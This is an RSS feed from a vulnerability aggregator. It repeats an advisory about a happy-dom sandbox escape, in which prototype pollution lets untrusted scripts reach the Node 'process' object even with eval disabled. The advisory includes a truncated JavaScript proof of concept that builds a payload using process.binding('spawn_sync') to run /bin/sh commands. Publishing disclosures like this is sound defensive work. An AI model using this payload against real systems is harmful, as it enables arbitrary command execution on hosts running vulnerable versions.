https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 15 Oct 2026 03:12:15 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-255171 EUVD-2026-255171 https://cve.radiocsirt.org/vuln/euvd-2026-255171 https://cve.radiocsirt.org/vuln/fkie_cve-2025-62410 <p>In versions before 20.0.2, it was found that --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom. The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like &#34;process&#34; in the example below, or to hijack control flow via flipping checks of undefined property. This vulnerability is due to an incomplete fix for CVE-2025-61927. The vulnerability is fixed in 20.0.2.</p> <p>In versions before 20.0.2, it was found that --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom. The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like &#34;process&#34; in the example below, or to hijack control flow via flipping checks of undefined property. This vulnerability is due to an incomplete fix for CVE-2025-61927. The vulnerability is fixed in 20.0.2.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2025-62410 https://cve.radiocsirt.org/vuln/ghsa-qpm2-6cq5-7pq5 <p><strong>Affected:</strong> npm: happy-dom</p> <p>### Summary The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.</p> <p>### Details The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like &#34;process&#34; in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).</p> <p>### PoC Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., &#34;process&#34;. In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().</p> <p>```js import { Browser } from &#34;happy-dom&#34;;</p> <p>const browser = new Browser({settings: {enableJavaScriptEvaluation: true}}); const page = browser.newPage({console: true});</p> <p>page.url = &#39;https://example.com&#39;; let payload = &#39;spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&amp;&amp;(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for…</p> <p><strong>Affected:</strong> npm: happy-dom</p> <p>### Summary The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.</p> <p>### Details The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like &#34;process&#34; in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).</p> <p>### PoC Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., &#34;process&#34;. In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().</p> <p>```js import { Browser } from &#34;happy-dom&#34;;</p> <p>const browser = new Browser({settings: {enableJavaScriptEvaluation: true}}); const page = browser.newPage({console: true});</p> <p>page.url = &#39;https://example.com&#39;; let payload = &#39;spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&amp;&amp;(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for…</p> https://cve.radiocsirt.org/vuln/ghsa-qpm2-6cq5-7pq5